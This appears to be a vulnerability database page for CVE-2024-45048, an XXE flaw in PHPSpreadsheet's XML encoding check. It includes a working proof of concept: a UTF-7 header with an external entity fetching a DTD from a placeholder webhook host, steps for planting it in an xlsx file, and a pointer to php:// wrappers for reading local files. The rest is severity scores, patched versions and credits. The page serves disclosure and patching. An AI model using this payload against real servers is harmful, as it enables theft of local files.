XXE in PHPSpreadsheet encoding is returned

CVE-2024-45048 → View on GitHub ↗ View on CVE.org ↗ View on NVD ↗

Description

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

1) Create simple xlsx file
2) Rename xlsx to zip
3) Go to the zip and open the xl/sharedStrings.xml file in edit mode.
4) Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to 

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>

5) Save sharedStrings.xml file and rename zip back to xlsx.
6) Use minimal php code that simply opens this xlsx file:

use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");

7) You will receive the request to your http://%webhook%/file.dtd
8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files
lfi

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2024-08-29 17:58:27 UTC
Updated
2025-03-06 18:10:42 UTC
GitHub reviewed
2024-08-29 17:58:27 UTC
NVD published
2024-08-28

EPSS Score

Score Percentile
0.15% 36.42%

CVSS Scores

Base score Version Severity Vector
8.8 3.1 —
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.
8.7 4.0 —
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:L)
Exploitation conditions are straightforward and stable.
Attack requirements (AT:N)
No additional preconditions are required beyond normal reachability.
Privileges required (PR:N)
No privileges are required.
User interaction (UI:P)
A user has to participate (for example click/open/approve).
Vulnerable system confidentiality impact (VC:H)
High confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:H)
High integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:H)
High availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:N)
No confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:N)
No integrity impact on subsequent systems.
Subsequent system availability impact (SA:N)
No availability impact on subsequent systems.

Identifiers

Type Value
GHSA GHSA-ghg6-32f9-2jp7 ↗
CVE CVE-2024-45048 ↗

CWEs

CWE id Name
CWE-611 Improper Restriction of XML External Entity Reference

Credits

  • bytehope (reporter)
  • chinh2597 (analyst)
  • cavias (analyst)

Affected packages (4)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
composer phpoffice/phpspreadsheet < 1.29.1 1.29.1 —
composer phpoffice/phpspreadsheet >= 2.2.0, < 2.2.1 2.2.1 —
composer phpoffice/phpspreadsheet >= 2.0.0, < 2.1.1 2.1.1 —
composer phpoffice/phpexcel <= 1.8.2 — —

References

cvelogic Threat Intelligence